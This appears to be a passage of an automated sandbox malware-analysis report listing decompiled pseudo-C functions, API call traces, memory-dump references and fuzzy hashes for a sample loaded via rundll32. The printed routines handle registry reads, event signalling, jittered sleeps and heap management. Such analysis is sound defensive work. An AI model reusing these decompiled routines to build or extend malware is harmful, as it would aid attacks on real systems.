                          • Opcode Fuzzy Hash: 8adf7a077a10940e340eb3741e1b571c8fd6438d8807c8df462e6bf639e50ddb
                          • Instruction Fuzzy Hash: 46415E71104301EFE721DF54C840E6BBBEAFF89754F04492EFA9482160D772EA54DBA2
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C774FE Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON
                          Download Yara Rule
                          APIs
                          • SysAllocString.OLEAUT32(80000002), ref: 04C7755B
                          • SysAllocString.OLEAUT32(04C73520), ref: 04C7759F
                          • SysFreeString.OLEAUT32(00000000), ref: 04C775B3
                          • SysFreeString.OLEAUT32(00000000), ref: 04C775C1
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: String$AllocFree
                          • String ID:
                          • API String ID: 344208780-0
                          • Opcode ID: b303a1da1f97b3effe801613eaae67d5ef436cd8aa8704a8c7b36d86141c868b
                          • Instruction ID: 62f948ce60bd528968a63fd5c62d82a54814bde6131a1869008a4f1d7fc67ffd
                          • Opcode Fuzzy Hash: b303a1da1f97b3effe801613eaae67d5ef436cd8aa8704a8c7b36d86141c868b
                          • Instruction Fuzzy Hash: 2E310E75900249EFCB05CF98D8C09AE7BB5FF48340B10842EF90697250E775EA81CFA1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C770D8 Relevance: 6.1, APIs: 4, Instructions: 87sleepCOMMON
                          Download Yara Rule
                          C-Code - Quality: 41%
                          			E04C770D8(void* __ecx, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t20;
				void* _t26;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t20 = E04C754BB(__ecx,  &_v32); // executed
				_t38 = _t20;
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t23 =  &(_t39[1]);
						if(_t39[1] != 0) {
							E04C778BF(_t23);
						}
					}
					return _t38;
				}
				_t26 = E04C73695(0x40,  &_v16); // executed
				if(_t26 != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x4c7a34c, 1, 0,  *0x4c7a3e4);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8); // executed
					FindCloseChangeNotification(_t40); // executed
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E04C771B6(_t36); // executed
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E04C73472(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E04C73AC2(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E04C7498E( &_v32, _t39);
					goto L13;
				}
			}














                          0x04c770d8
                          0x04c770e5
                          0x04c770eb
                          0x04c770ec
                          0x04c770ed
                          0x04c770ee
                          0x04c770ef
                          0x04c770f3
                          0x04c770fa
                          0x04c770ff
                          0x04c77103
                          0x04c7718b
                          0x04c7718b
                          0x04c7718e
                          0x04c77190
                          0x04c77198
                          0x04c7719e
                          0x04c771a1
                          0x04c771a1
                          0x04c7719e
                          0x04c771ac
                          0x04c771ac
                          0x04c7710f
                          0x04c77116
                          0x04c77118
                          0x04c77118
                          0x04c7712f
                          0x04c77133
                          0x04c77136
                          0x04c77141
                          0x04c77148
                          0x04c77148
                          0x04c77151
                          0x04c77155
                          0x04c77163
                          0x04c77157
                          0x04c77157
                          0x04c77158
                          0x04c77159
                          0x04c7715a
                          0x04c7715b
                          0x04c7715c
                          0x04c7715c
                          0x04c77168
                          0x04c7716b
                          0x04c7716f
                          0x04c77171
                          0x04c77171
                          0x04c77178
                          0x00000000
                          0x04c7717a
                          0x04c7717a
                          0x04c77187
                          0x00000000
                          0x04c77187

                          APIs
                          • CreateEventA.KERNEL32(04C7A34C,00000001,00000000,00000040,?,?,7620F710,00000000,7620F730), ref: 04C77129
                          • SetEvent.KERNEL32(00000000), ref: 04C77136
                          • Sleep.KERNEL32(00000BB8), ref: 04C77141
                          • FindCloseChangeNotification.KERNEL32(00000000), ref: 04C77148
                            • Part of subcall function 04C771B6: RegOpenKeyExA.KERNEL32(80000003,00000000,00000000,00020019,?,00000000,00000000,?,?,?,?,?,04C77168,?), ref: 04C771DC
                            • Part of subcall function 04C771B6: RegEnumKeyExA.KERNEL32(?,?,?,04C77168,00000000,00000000,00000000,00000000,00000104,00000000,?,?,?,?,?,04C77168), ref: 04C77223
                            • Part of subcall function 04C771B6: WaitForSingleObject.KERNEL32(00000000,?,?,?,04C77168,?,04C77168,?,?,?,?,?,04C77168,?), ref: 04C77290
                            • Part of subcall function 04C771B6: RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,04C77168,?), ref: 04C772B8
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: CloseEvent$ChangeCreateEnumFindNotificationObjectOpenSingleSleepWait
                          • String ID:
                          • API String ID: 780868161-0
                          • Opcode ID: 2eaa468493411df38d12a45806ad81cb0a640b296a34f1173a19b2bd92765d49
                          • Instruction ID: 54fcb6c0f0262be87b9fbee2c6c0d528f8299e987ac1a5c758571d7b7143bb07
                          • Opcode Fuzzy Hash: 2eaa468493411df38d12a45806ad81cb0a640b296a34f1173a19b2bd92765d49
                          • Instruction Fuzzy Hash: DC21927BD0111DABEF20AFE5C884DEE77BFEB48394B054425EA15A7100D638BA45CBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C712CA Relevance: 6.1, APIs: 4, Instructions: 80registryCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C712CA(int _a4, int _a8, void* _a12, short* _a16, char** _a20, intOrPtr* _a24) {
				long _t26;
				intOrPtr* _t38;
				char* _t42;
				long _t43;

				if(_a4 == 0) {
					L2:
					_t26 = RegOpenKeyW(_a8, _a12,  &_a12); // executed
					_t43 = _t26;
					if(_t43 == 0) {
						RegQueryValueExW(_a12, _a16, 0,  &_a8, 0,  &_a4); // executed
						if(_a4 == 0) {
							_t43 = 0xe8;
						} else {
							_t42 = E04C76D63(_a4);
							if(_t42 == 0) {
								_t43 = 8;
							} else {
								_t43 = RegQueryValueExW(_a12, _a16, 0,  &_a8, _t42,  &_a4);
								if(_t43 != 0) {
									E04C76C2C(_t42);
								} else {
									 *_a20 = _t42;
									_t38 = _a24;
									if(_t38 != 0) {
										 *_t38 = _a4;
									}
								}
							}
						}
						RegCloseKey(_a12); // executed
					}
					L12:
					return _t43;
				}
				_t43 = E04C76500(_a4, _a8, _a12, _a16, _a20, _a24);
				if(_t43 == 0) {
					goto L12;
				}
				goto L2;
			}







                          0x04c712d6
                          0x04c712f9
                          0x04c71303
                          0x04c71309
                          0x04c7130d
                          0x04c71325
                          0x04c7132a
                          0x04c71372
                          0x04c7132c
                          0x04c71334
                          0x04c71338
                          0x04c7136f
                          0x04c7133a
                          0x04c7134c
                          0x04c71350
                          0x04c71366
                          0x04c71352
                          0x04c71355
                          0x04c71357
                          0x04c7135c
                          0x04c71361
                          0x04c71361
                          0x04c7135c
                          0x04c71350
                          0x04c71338
                          0x04c7137a
                          0x04c7137a
                          0x04c71381
                          0x04c71387
                          0x04c71387
                          0x04c712ef
                          0x04c712f3
                          0x00000000
                          0x00000000
                          0x00000000

                          APIs
                          • RegOpenKeyW.ADVAPI32(80000002,05249E92,05249E92), ref: 04C71303
                          • RegQueryValueExW.KERNEL32(05249E92,?,00000000,80000002,00000000,00000000,?,04C73551,3D04C790,80000002,04C77168,00000000,04C77168,?,05249E92,80000002), ref: 04C71325
                          • RegQueryValueExW.ADVAPI32(05249E92,?,00000000,80000002,00000000,00000000,00000000,?,04C73551,3D04C790,80000002,04C77168,00000000,04C77168,?,05249E92), ref: 04C7134A
                          • RegCloseKey.KERNEL32(05249E92,?,04C73551,3D04C790,80000002,04C77168,00000000,04C77168,?,05249E92,80000002,00000000,?), ref: 04C7137A
                            • Part of subcall function 04C76500: SafeArrayDestroy.OLEAUT32(00000000), ref: 04C76588
                            • Part of subcall function 04C76C2C: RtlFreeHeap.NTDLL(00000000,00000000,04C75E1D,00000000,?,?,00000000), ref: 04C76C38
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: QueryValue$ArrayCloseDestroyFreeHeapOpenSafe
                          • String ID:
                          • API String ID: 486277218-0
                          • Opcode ID: 709540f6448eefd99dfc3a2bdc5b1d26c26089fcdee67b2bf60350eff048eb15
                          • Instruction ID: 99d8c4bf942e3e224ac92a3c1004146f545c56cf7d9f9a93de98ae8b4fb814b7
                          • Opcode Fuzzy Hash: 709540f6448eefd99dfc3a2bdc5b1d26c26089fcdee67b2bf60350eff048eb15
                          • Instruction Fuzzy Hash: 54210E7650015DBFDF119F64DC84CEE7BAAFB04390B098425FE5596620DA32ED60ABA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC9661 Relevance: 6.1, APIs: 4, Instructions: 64memoryregistryCOMMON
                          Download Yara Rule
                          APIs
                          • RegQueryValueExA.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,04CB62DD,?,?,?,?), ref: 04CC9686
                          • RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 04CC969D
                          • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,04CB62DD,?,?,?,?,?,?,00000000), ref: 04CC96B8
                          • RegQueryValueExA.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,?,04CB62DD,?,?,?,?), ref: 04CC96D7
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: HeapQueryValue$AllocateFree
                          • String ID:
                          • API String ID: 4267586637-0
                          • Opcode ID: 40fbc67cf316a03bd23226ad774bb02723ba3af5b2341afa23bd681bc5ccd5ce
                          • Instruction ID: 6aff9ecdd3ce6a4861cc362291e6dc9db2201868ad9d3c744a448de3de03ebed
                          • Opcode Fuzzy Hash: 40fbc67cf316a03bd23226ad774bb02723ba3af5b2341afa23bd681bc5ccd5ce
                          • Instruction Fuzzy Hash: 63114CBA500118FFDB129F95DC84DEEBBBDEB89750B10405AF901A6250E3716E40EB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C74B89 Relevance: 6.0, APIs: 4, Instructions: 44sleepthreadtimeCOMMON
                          Download Yara Rule
                          C-Code - Quality: 65%
                          			E04C74B89(void* __ecx, intOrPtr _a4) {
				struct _FILETIME _v12;
				int _t13;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t30;
				signed int _t34;

				_v12.dwLowDateTime = _v12.dwLowDateTime & 0x00000000;
				asm("stosd");
				do {
					_t13 = SwitchToThread();
					GetSystemTimeAsFileTime( &_v12);
					_t23 = _v12.dwHighDateTime;
					_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 5;
					_push(0);
					_push(0x13);
					_push(_t23 >> 5);
					_push(_t16);
					L04C783A6();
					_t34 = _t16 + _t13;
					_t18 = E04C75D2E(_a4, _t34);
					_t30 = _t18;
					_t19 = 3;
					Sleep(_t19 << (_t34 & 0x00000007)); // executed
				} while (_t30 == 1);
				return _t30;
			}











                          0x04c74b8e
                          0x04c74b99
                          0x04c74b9a
                          0x04c74b9a
                          0x04c74ba6
                          0x04c74baf
                          0x04c74bb2
                          0x04c74bb6
                          0x04c74bb8
                          0x04c74bbd
                          0x04c74bbe
                          0x04c74bbf
                          0x04c74bc9
                          0x04c74bcc
                          0x04c74bd3
                          0x04c74bd7
                          0x04c74bde
                          0x04c74be4
                          0x04c74bee

                          APIs
                          • SwitchToThread.KERNEL32(?,00000001,?,?,?,04C71D14,?,?), ref: 04C74B9A
                          • GetSystemTimeAsFileTime.KERNEL32(00000000,?,00000001,?,?,?,04C71D14,?,?), ref: 04C74BA6
                          • _aullrem.NTDLL(00000000,?,00000013,00000000), ref: 04C74BBF
                            • Part of subcall function 04C75D2E: memcpy.NTDLL(00000000,00000000,?,?,00000000,?,?,?,00000000), ref: 04C75D8D
                          • Sleep.KERNEL32(00000003,00000000,?,00000001,?,?,?,04C71D14,?,?), ref: 04C74BDE
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Time$FileSleepSwitchSystemThread_aullremmemcpy
                          • String ID:
                          • API String ID: 1610602887-0
                          • Opcode ID: 81068578565afea0b2f4a34b8f9cadf5fe11486bd3aad731a679228e70dbb63d
                          • Instruction ID: 2d20a983e3cf5adcd2de1b6fc9cfa74886812d3f86a6947c51528979aa1ad7e4
                          • Opcode Fuzzy Hash: 81068578565afea0b2f4a34b8f9cadf5fe11486bd3aad731a679228e70dbb63d
                          • Instruction Fuzzy Hash: B1F0C8B7B102087BE7149BA4CC5DFDF77B9EB88355F004124F601E7240E678AE00C660
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB71B4 Relevance: 6.0, APIs: 4, Instructions: 42stringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • GetProcessImageFileNameW.PSAPI(?,00000000,00000800,00001000,04CDA170,00000000,04CC5D81,?,04CBF2F7,?), ref: 04CB71D3
                          • PathFindFileNameW.SHLWAPI(00000000,?,?,00000000,00000800,00001000,04CDA170,00000000,04CC5D81,?,04CBF2F7,?), ref: 04CB71DE
                          • _wcsupr.NTDLL ref: 04CB71EB
                          • lstrlenW.KERNEL32(00000000), ref: 04CB71F3
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: FileName$AllocateFindHeapImagePathProcess_wcsuprlstrlen
                          • String ID:
                          • API String ID: 2533608484-0
                          • Opcode ID: f5076f3cb67fdca19dbe6bc783d04543458db105e56fac0c414b135f1b733242
                          • Instruction ID: c58551443efde3c357d51592da64c8646eafdbf15e3f5ae33a54c35eb417700b
                          • Opcode Fuzzy Hash: f5076f3cb67fdca19dbe6bc783d04543458db105e56fac0c414b135f1b733242
                          • Instruction Fuzzy Hash: ABF0E0351431106BA3116D759C88FFF575EFFC1758F100828F945D2440DF64DC0195E1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCC384 Relevance: 6.0, APIs: 4, Instructions: 37threadCOMMON
                          Download Yara Rule
                          APIs
                          • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 04CCC3A3
                            • Part of subcall function 04CB8FAE: RtlEnterCriticalSection.NTDLL(00000000), ref: 04CB8FBA
                            • Part of subcall function 04CB8FAE: CloseHandle.KERNEL32(?), ref: 04CB8FC8
                            • Part of subcall function 04CB8FAE: RtlLeaveCriticalSection.NTDLL(00000000), ref: 04CB8FE4
                          • FindCloseChangeNotification.KERNEL32(?), ref: 04CCC3B1
                          • InterlockedDecrement.KERNEL32(04CDA05C), ref: 04CCC3C0
                            • Part of subcall function 04CCE831: SetEvent.KERNEL32(000005AC,04CCC3DB), ref: 04CCE83B
                            • Part of subcall function 04CCE831: CloseHandle.KERNEL32(000005AC), ref: 04CCE850
                            • Part of subcall function 04CCE831: HeapDestroy.KERNELBASE(05CE0000), ref: 04CCE860
                          • RtlExitUserThread.NTDLL(00000000), ref: 04CCC3DC
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Close$CriticalHandleSection$ChangeDecrementDestroyEnterEventExitFindHeapInterlockedLeaveMultipleNotificationObjectsThreadUserWait
                          • String ID:
                          • API String ID: 2993087875-0
                          • Opcode ID: 2ceea187ded8ddc2b9294e2660d1ed87005d3245957ed5b9301e2118fc862a3b
                          • Instruction ID: 028869e4332082624efe7e6dc4939a1a4bec2e718266d497414dcd7e1e32d4e5
                          • Opcode Fuzzy Hash: 2ceea187ded8ddc2b9294e2660d1ed87005d3245957ed5b9301e2118fc862a3b
                          • Instruction Fuzzy Hash: B3F08C78641204BBE7116F68A849BA93B2AEB46731B140218F625972C0EB79AD018BA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C7765B Relevance: 6.0, APIs: 4, Instructions: 29sleepmemoryCOMMON
                          Download Yara Rule
                          C-Code - Quality: 50%
                          			E04C7765B(void** __esi) {
				intOrPtr _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				void* _t9;
				intOrPtr _t10;
				void* _t11;
				void** _t13;

				_t13 = __esi;
				_t4 =  *0x4c7a3cc; // 0x52495b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x4c7a3cc; // 0x52495b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t13;
				if(_t8 != 0 && _t8 != 0x4c7a030) {
					HeapFree( *0x4c7a2d8, 0, _t8);
				}
				_t9 = E04C76E6D(_v0, _t13); // executed
				_t13[1] = _t9;
				_t10 =  *0x4c7a3cc; // 0x52495b0
				_t11 = _t10 + 0x40;
				__imp__(_t11);
				return _t11;
			}











                          0x04c7765b
                          0x04c7765b
                          0x04c77664
                          0x04c77674
                          0x04c77674
                          0x04c77679
                          0x04c7767e
                          0x00000000
                          0x00000000
                          0x04c7766e
                          0x04c7766e
                          0x04c77680
                          0x04c77684
                          0x04c77696
                          0x04c77696
                          0x04c776a1
                          0x04c776a6
                          0x04c776a9
                          0x04c776ae
                          0x04c776b2
                          0x04c776b8

                          APIs
                          • RtlEnterCriticalSection.NTDLL(05249570), ref: 04C77664
                          • Sleep.KERNEL32(0000000A), ref: 04C7766E
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04C77696
                          • RtlLeaveCriticalSection.NTDLL(05249570), ref: 04C776B2
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                          • String ID:
                          • API String ID: 58946197-0
                          • Opcode ID: 3b8a16f7e98d58b1082f46f290b116d14b40f224975e6a080865b959e0f4f06f
                          • Instruction ID: 6d3e3395622b79c308dd5f2124ff9064f0389f1f69a63ba1b478529388f95553
                          • Opcode Fuzzy Hash: 3b8a16f7e98d58b1082f46f290b116d14b40f224975e6a080865b959e0f4f06f
                          • Instruction Fuzzy Hash: 57F0F8B8241241ABE720AF69DC88F1A3BA5EB14744B049404F50AD62A1C639FC50DF25
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C7216C Relevance: 4.6, APIs: 3, Instructions: 94memoryCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C7216C(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				void* _t40;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E04C73695(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x4c7a348; // 0x5cd5a8
				_t4 = _t24 + 0x4c7be58; // 0x5249400
				_t5 = _t24 + 0x4c7be00; // 0x4f0053
				_t26 = E04C7155C( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x4c7a348; // 0x5cd5a8
						_t11 = _t32 + 0x4c7be4c; // 0x52493f4
						_t48 = _t11;
						_t12 = _t32 + 0x4c7be00; // 0x4f0053
						_t52 = E04C728C4(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0x4c7a348; // 0x5cd5a8
							_t13 = _t35 + 0x4c7ba51; // 0x30314549
							if(E04C741FA(_t48, _t50, _t59, _v8, _t52, _t13, 0x14) == 0) {
								_t61 =  *0x4c7a2fc - 6;
								if( *0x4c7a2fc <= 6) {
									_t42 =  *0x4c7a348; // 0x5cd5a8
									_t15 = _t42 + 0x4c7bde2; // 0x52384549
									E04C741FA(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0x4c7a348; // 0x5cd5a8
							_t17 = _t38 + 0x4c7be90; // 0x5249438
							_t18 = _t38 + 0x4c7be68; // 0x680043
							_t40 = E04C774B6(_v8, 0x80000001, _t52, _t18, _t17); // executed
							_t45 = _t40;
							HeapFree( *0x4c7a2d8, 0, _t52);
						}
					}
					HeapFree( *0x4c7a2d8, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E04C73AC2(_t54);
				}
				return _t45;
			}



















                          0x04c7216c
                          0x04c7217c
                          0x04c7217f
                          0x04c72186
                          0x04c72188
                          0x04c72188
                          0x04c7218b
                          0x04c72190
                          0x04c72197
                          0x04c721a4
                          0x04c721a9
                          0x04c721ad
                          0x04c721bb
                          0x04c721c9
                          0x04c721cd
                          0x04c7225e
                          0x04c7225e
                          0x04c721d3
                          0x04c721d3
                          0x04c721d8
                          0x04c721d8
                          0x04c721df
                          0x04c721eb
                          0x04c721ed
                          0x04c721ef
                          0x04c721f1
                          0x04c721f8
                          0x04c7220a
                          0x04c7220c
                          0x04c72213
                          0x04c72215
                          0x04c7221c
                          0x04c72227
                          0x04c72227
                          0x04c72213
                          0x04c7222c
                          0x04c72231
                          0x04c72238
                          0x04c72248
                          0x04c72256
                          0x04c72258
                          0x04c72258
                          0x04c721ef
                          0x04c7226a
                          0x04c7226a
                          0x04c7226c
                          0x04c72271
                          0x04c72273
                          0x04c72273
                          0x04c7227e

                          APIs
                          • StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05249400,00000000,?,7620F710,00000000,7620F730), ref: 04C721BB
                          • HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,05249438,?,00000000,30314549,00000014,004F0053,052493F4), ref: 04C72258
                          • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,04C766BE), ref: 04C7226A
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: FreeHeap
                          • String ID:
                          • API String ID: 3298025750-0
                          • Opcode ID: b884db92a6809f81127cfdcbd4b1f39584d6cc6a0d7f7ec1b04519a43e1af0bf
                          • Instruction ID: 838005048644d1af5cd6816cd6c451aca6ebe0e7da3aa90977748dab63cb653b
                          • Opcode Fuzzy Hash: b884db92a6809f81127cfdcbd4b1f39584d6cc6a0d7f7ec1b04519a43e1af0bf
                          • Instruction Fuzzy Hash: 0A318F36A00218BFDB11DF94DC84EAE7BBEEB48718F1540A5E7049B161E672FE44EB50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C743EB Relevance: 4.6, APIs: 3, Instructions: 82memoryCOMMON
                          Download Yara Rule
                          C-Code - Quality: 85%
                          			E04C743EB(intOrPtr* __eax, long _a4, void** _a8, intOrPtr* _a12, char _a16) {
				void* _v8;
				char _v48;
				void* __edi;
				intOrPtr _t22;
				intOrPtr _t30;
				intOrPtr _t34;
				intOrPtr* _t42;
				void* _t43;
				void* _t46;
				intOrPtr* _t48;
				void* _t49;
				intOrPtr _t51;

				_t42 = _a16;
				_t48 = __eax;
				_t22 =  *0x4c7a348; // 0x5cd5a8
				_t2 = _t22 + 0x4c7b67a; // 0x657a6973
				wsprintfA( &_v48, _t2,  *__eax,  *_t42);
				if( *0x4c7a2ec >= 5) {
					_t30 = E04C756C8(_a4, _t43, _t46,  &_v48,  &_v8,  &_a16);
					L5:
					_a4 = _t30;
					L6:
					if(_a4 != 0) {
						L9:
						 *0x4c7a2ec =  *0x4c7a2ec + 1;
						L10:
						return _a4;
					}
					_t50 = _a16;
					 *_t48 = _a16;
					_t49 = _v8;
					 *_t42 = E04C7708D(_t50, _t49); // executed
					_t34 = E04C72B23(_t49, _t50); // executed
					if(_t34 != 0) {
						 *_a8 = _t49;
						 *_a12 = _t34;
						if( *0x4c7a2ec < 5) {
							 *0x4c7a2ec =  *0x4c7a2ec & 0x00000000;
						}
						goto L10;
					}
					_a4 = 0xbf;
					E04C7561E();
					HeapFree( *0x4c7a2d8, 0, _t49);
					goto L9;
				}
				_t51 =  *0x4c7a3e0; // 0x5249b78
				if(RtlAllocateHeap( *0x4c7a2d8, 0, 0x800) == 0) {
					_a4 = 8;
					goto L6;
				}
				_t30 = E04C7300E(_a4, _t51,  &_v48,  &_v8,  &_a16, _t37);
				goto L5;
			}















                          0x04c743f2
                          0x04c743f9
                          0x04c743fd
                          0x04c74402
                          0x04c7440d
                          0x04c7441d
                          0x04c7446c
                          0x04c74471
                          0x04c74471
                          0x04c74474
                          0x04c74478
                          0x04c744b2
                          0x04c744b2
                          0x04c744b8
                          0x04c744bf
                          0x04c744bf
                          0x04c7447a
                          0x04c7447d
                          0x04c7447f
                          0x04c7448c
                          0x04c7448e
                          0x04c74495
                          0x04c744cc
                          0x04c744d1
                          0x04c744d3
                          0x04c744d5
                          0x04c744d5
                          0x00000000
                          0x04c744d3
                          0x04c74497
                          0x04c7449e
                          0x04c744ac
                          0x00000000
                          0x04c744ac
